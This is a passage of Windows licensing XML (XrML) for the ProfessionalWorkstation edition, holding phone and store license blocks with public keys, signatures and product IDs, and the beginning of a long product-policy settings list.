xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>+R8NaWDbd3HxR4uTLA67oW0sNp4=</DigestValue></Reference></SignedInfo><SignatureValue>tAQfC759w8WPqbMzdGeO85E80DBUfRTgJbQWiTZUy9Xy0c5ZkoQ3wGrZRaLKiB7RncvbNs/+/10sk/bJ65Gms0aU3ixecsZCt+t2Qb/oKu3ilhgwyfhSOkxo60GebqlJ/1sPW7InEjk4jJ+HMzp2Xadv8rpePwfXC2c4/As0f2nmVHmmguOxGaS/UkkeZB+9/mr1Ir+pjI7B57+pk2oxjGBWwfFMR8sLA5v31/VZgX256t61numvtsT8XxufvPXT5Ev3Ajn+ASFhY2U/ZCJ6sAuJ/Ck/BqKrqHj+ZuI3vfEKsi8XqeloJRsroU6AkGhiKsF8OFDdCfCz7le39bYiIQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{304b0d6b-bed3-4f04-9a98-b6c10c370d33}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{08ed9d4f-7879-4297-b59c-d61074b711d1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{721f9237-9341-4453-a661-09e8baa6cca5}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>s6bByl4FkodMyFcsh+h/yJaVs64=</DigestValue></Reference></SignedInfo><SignatureValue>Y+3Lxr+VWV+bDUpFEOCwfYwbt7wz5UKth+NPLGT84+mIOET0lfTivGP5KGprpQc5zKlm8FdMi6V42sliHILQwKq/8FV8qxe9hrkDbMKTBYRntmBwkMbcqlVT8ZJEhuTdweDRMe1jvYYSLZrts88QQbvA8yeYQpT5OfhFSfTphUBT3mgZB9BDnc34gF4jiQaxoy6dvG7ZtmsvaA/lpkybsK7Yy84RKWkMuNe5v20h/1RDSEpD6uQ4NhQFCIuJnD1S7LZL5YGEJagNC57ObKWo5zosY3qVO2pfSA5kl//c+uJlMV/rGlfjwWj37c+igW9QGUSAkkMI4xGOWCXGdWXuYA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="privateCertificateId">{5e08feb9-bac0-470f-8082-b7d74f1347b8}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5e08feb9-bac0-470f-8082-b7d74f1347b8}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>TP5RFXk3ZCGtfwVlAByqtz1uwr4=</DigestValue></Reference></SignedInfo><SignatureValue>G8wGrp4JYjLsp2ALCCIUmxwWoNXxSOBMSzDuqQFmJlXhOaYqh39QoTEAEw7VyruYulcbjAcO3GajDLqm8sMPnk5YwahhAHqvvNqIyCjyBZtb5RF+dKvN03zc6r3MJz9xuZEfal+SGPminJEr7Fd6VqQosO9KoNDGChYgX4rqKN/uu1asztwJkctbTVmywqZhQADBdcF6Ayv5AHP3e596K65eO0fjV2cxkKUpDgGWR1NmDWIFiFxN+M4GCjisWeBVdEztdEiONlbfh+MvcJT/iHu47r0T8q4CKyPrjaH3WzsttYFEnrLuUsOg78p5m/ni6jlziT6OmNcrlHVh4tFV6Q==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{08ed9d4f-7879-4297-b59c-d61074b711d1}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{67a31cb9-8ad3-c9d5-0c45-f624281a6c6a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>DefaultPpd-ServerRdsh Component PPD License</r:title><r:grant><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:possessProperty/><tm:application xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><editionId xmlns="http://www.microsoft.com/DRM/XrML2/TM/v2" value=""></editionId></tm:application><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>100</sl:priority><sl:policyInt name="AAD-WindowsCore-AddAccountRestrictions">0</sl:policyInt><sl:policyInt name="AAD-BlockAADWorkplaceJoin-Default">0</sl:policyInt><sl:policyInt name="AAD-AddDeviceJoinUserToAdminGroup-Policy">0</sl:policyInt><sl:policyInt name="ActionRuntime-Available">0</sl:policyInt><sl:policyInt name="ACLUIFileFolderTool-IsSecurityUIEnabled">1</sl:policyInt><sl:policyInt name="Administrator-Protection-Elevation-ETW">0</sl:policyInt><sl:policyInt name="Allow-WindowsSubscription">0</sl:policyInt><sl:policyInt name="Allow-AppLaunch-Container">0</sl:policyInt><sl:policyInt name="ConsumeAddonPolicySet">0</sl:policyInt><sl:policyInt name="AMR-CODECS-MSAMRNBInSKU">1</sl:policyInt><sl:policyInt name="AppDefaults-UseAlternateProgIds">0</sl:policyInt><sl:policyInt name="appid-EnableV2">1</sl:policyInt><sl:policyInt name="AppMan-AppV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppMan-UEV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppReadiness-BlockLogonForCriticalAppsOnly">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-AllowAllTrustedApps">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-MaxSideloadedPackagesCount">-1</sl:policyInt><sl:policyInt name="AzureStackHCI-Service-Enabled">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Enforce-Registration">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Registration-State">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-CensusSync">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-DiagUpload">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitCoreOSMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Emit-Preview-Meters">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitWindowsMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitOnePDeviceMeter">0</sl:policyInt><sl:policyInt name="Branding-Override-Available">0</sl:policyInt><sl:policyInt name="BrightnessReset-Enabled">0</sl:policyInt><sl:policyInt name="BuildFlighting-ControlBuildFlighting">0</sl:policyInt><sl:policyInt name="ChangeDesktopBackground-Enabled">1</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowConfigurablePolicy-CustomKernelSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowSkuPolicy-CbsAndCompDbSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-CloudEdition-Enforce-Required">0</sl:policyInt><sl:policyInt name="CodeIntegrity-SKU-Unlock">0</sl:policyInt><sl:policyInt name="ContentDeliveryManager-License-ContentDeliveryAllowed">0</sl:policyInt><sl:policyInt name="Cortana-AllowCortana-Enabled">1</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileStorageReserve-Enabled">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Mini">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Kernel">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Full">0</sl:policyInt><sl:policyInt name="CXH-ServerIsClient">0</sl:policyInt><sl:policyInt name="DCPromoExe-Enabled">0</sl:policyInt><sl:policyInt name="Defender-UI-Lockdown">0</sl:policyInt><sl:policyInt name="Defender-Days-To-Retain-Cleaned-Malware">0</sl:policyInt><sl:policyInt name="Defender-EDR-Decouple-WDBoot">0</sl:policyInt><sl:policyInt name="Defender-Enable-Network-Protection">0</sl:policyInt><sl:policyInt name="Defender-HealthAdvisor-FreshStart-Enabled">1</sl:policyInt><sl:policyInt name="Defender-Schedule-QuickScan-Time">0</sl:policyInt><sl:policyInt name="Defender-SecureBoot-Off-Notify-Enabled">0</sl:policyInt><sl:policyInt name="Defender-Submit-Samples-Consent">0</sl:policyInt><sl:policyInt name="DeferWidgetsInitialization">0</sl:policyInt><sl:policyInt name="deviceregistration-MaximumUsers">0</sl:policyInt><sl:policyInt name="DeviceUpdateCenter-Supported">0</sl:policyInt><sl:policyInt name="DFSN-ServerService-StandaloneRootLimit">1</sl:policyInt><sl:policyInt name="Display-Specialized-Displays-Enabled">0</sl:policyInt><sl:policyInt name="dmenrollengine-Mobile-Business">0</sl:policyInt><sl:policyInt name="dmenrollengine-EnrollUnenrollUX-Allowed">1</sl:policyInt><sl:policyInt name="dmenrollengine-MDMOnlyUX-Allowed">0</sl:policyInt><sl:policyInt name="DNS-Client-license-DAPolicy">0</sl:policyInt><sl:policyInt name="DolbyDecMFT-DolbyDigitalDecoderV3AddIn">0</sl:policyInt><sl:policyInt name="DolbyDecMFT-DolbyDigitalDecoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="DolbyDecMFT-DolbyDigitalDecoderV3InSKU">1</sl:policyInt><sl:policyInt name="Edu-Mode-Enabled">0</sl:policyInt><sl:policyInt name="EmbeddedFeature-AssignedAccessCsp-Enabled">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-BootExp-Enabled">0</sl:policyInt><sl:policyInt name="EmbeddedFeature-EmbeddedLogon-Enabled">0</sl:policyInt><sl:policyInt name="EmbeddedFeature-KeyboardFilter-Enabled">0</sl:policyInt><sl:policyInt name="EmbeddedFeature-ShellLauncher-Enabled">0</sl:policyInt><sl:policyInt name="EmbeddedFeature-UnifiedWriteFilter-Enabled">0</sl:policyInt><sl:policyInt name="Enable-WCOS-Activation-Troubleshooter">0</sl:policyInt><sl:policyInt name="Edge-NewTabOrStartPage-EnterprisePage-Enabled">0</sl:policyInt><sl:policyInt name="EnableRegulatoryPsm">0</sl:policyInt><sl:policyInt name="enterprisemgmt_osconfig-Enabled">0</sl:policyInt><sl:policyInt name="enterprisemgmt_policymanager-License-ADMXIngestionAllowList">0</sl:policyInt><sl:policyInt name="enterprisemgmt_policymanager-License-CheckMDMPolicyAllowList">1</sl:policyInt><sl:policyInt name="enterprisemgmt_policymanager-License-UserRightsNoNameMapping">0</sl:policyInt><sl:policyInt name="{6296CE48-18F7-47B6-848A-7E8E56FADD6F}">0</sl:policyInt><sl:policyInt name="explorer-AeroAnimationAllowed">0</sl:policyInt><sl:policyInt name="explorer-AeroShakeAllowed">0</sl:policyInt><sl:policyInt name="explorer-AlwaysShowRunAsDifferentUser">0</sl:policyInt><sl:policyInt name="explorer-ClientLoginExperienceAllowed">1</sl:policyInt><sl:policyInt name="Explorer-ServerIsClient">0</sl:policyInt><sl:policyInt name="ExtensibleStorageEngine-ISAM-ParamConfiguration">1</sl:policyInt><sl:policyInt name="FailoverCluster-ClusWMI-IsClusterEnabled">0</sl:policyInt><sl:policyInt name="FailoverCluster-ClusWMI-IsStorageSpacesDirectEnabled">0</sl:policyInt><sl:policyInt name="FailoverCluster-IsHCISKU">0</sl:policyInt><sl:policyInt name="FailoverCluster-IsStretchS2DAllowed">0</sl:policyInt><sl:policyInt name="feclient-EfsEnabled">0</sl:policyInt><sl:policyInt name="feclient-EfsEnabledBasic">0</sl:policyInt><sl:policyInt name="feclient-EfsUserCacheLimit">5</sl:policyInt><sl:policyInt name="Feeds-AllowFeeds-Enabled">1</sl:policyInt><sl:policyInt name="FileExplorer-DisableLibraries">0</sl:policyInt><sl:policyInt name="FileExplorer_Recommendations_Available">1</sl:policyInt><sl:policyInt name="FileSystems-ReFs-Enabled">0</sl:policyInt><sl:policyInt name="FileSystems-ReFsV1-Enabled">0</sl:policyInt><sl:policyInt name="FilterManager-Require-WCOS-Compat-Flag">0</sl:policyInt><sl:policyInt name="Games-AllowBroadcasting">1</sl:policyInt><sl:policyInt name="Games-AllowDisablingGameMonitoring">0</sl:policyInt><sl:policyInt name="GroupPolicy-License-DomainIncapableSystem">1</sl:policyInt><sl:policyInt name="GroupPolicy-License-NetworkWaitTimeoutInSeconds">120</sl:policyInt><sl:policyInt name="GroupPolicy-License-WaitForNetwork">1</sl:policyInt><sl:policyInt name="Handwriting-Enabled">1</sl:policyInt><sl:policyInt name="HealthAttestationCSP-UseSecTask">0</sl:policyInt><sl:policyInt name="HelpPane-UrlOverrideEnabled">0</sl:policyInt><sl:policyInt name="hevcdecoder-HEVCVideoDecoderV1AddIn">0</sl:policyInt><sl:policyInt name="hevcdecoder-HEVCVideoDecoderV1AddInEnable">1</sl:policyInt><sl:policyInt name="hevcdecoder-HEVCVideoDecoderV1InSKU">1</sl:policyInt><sl:policyInt name="HubOS-Activated">0</sl:policyInt><sl:policyInt name="HybridComputeFramework-Enabled">0</sl:policyInt><sl:policyInt name="IASLicensing-allowSubnetSyntax">0</sl:policyInt><sl:policyInt name="IASLicensing-maxClient">0</sl:policyInt><sl:policyInt name="IASLicensing-maxServerGroups">0</sl:policyInt><sl:policyInt name="IIS-W3SVC-MaxConcurrentRequests">1</sl:policyInt><sl:policyInt name="InboxApps-Install-Prepackaged">0</sl:policyInt><sl:policyInt name="InkAnalysisPerfEventsLicensing-MyPolicyName">0</sl:policyInt><sl:policyInt name="InstallAgent-AllowGPOForBlockingStore">0</sl:policyInt><sl:policyInt name="Internet-Browser-License-LicensedPartnerID">0</sl:policyInt><sl:policyInt name="iuilp-DefaultLauncherLayoutBase">0</sl:policyInt><sl:policyInt name="iuilp-SkipRequiredAppsCheck">0</sl:policyInt><sl:policyInt name="Kernel-DynamicPartitioningSupported">0</sl:policyInt><sl:policyInt name="Kernel-Fingerprint-Verification-Disabled">0</sl:policyInt><sl:policyInt name="Kernel-MaxPhysicalPage">0</sl:policyInt><sl:policyInt name="Kernel-MemoryMirroringSupported">0</sl:policyInt><sl:policyInt name="Kernel-MUI-Number-Allowed" attributes="reboot-required">1000</sl:policyInt><sl:policyInt name="Kernel-NativeVHDBoot" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="Kernel-NLS-ExcludedNationsList-Allowed">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType">2</sl:policyInt><sl:policyInt name="Kernel-OneCore-DeviceFamilyID">3</sl:policyInt><sl:policyInt name="Kernel-OneCore-VailGuest">0</sl:policyInt><sl:policyInt name="Kernel-PersistDefectiveMemoryList">0</sl:policyInt><sl:policyInt name="Kernel-ProductInfo">0</sl:policyInt><sl:policyInt name="Kernel-ProductType">0</sl:policyInt><sl:policyInt name="Kernel-RegisteredProcessors">1</sl:policyInt><sl:policyInt name="Kernel-VirtualDynamicPartitioningSupported">0</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedArm">4096</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedArm64">4096</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedx64">4096</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedx86">4096</sl:policyInt><sl:policyInt 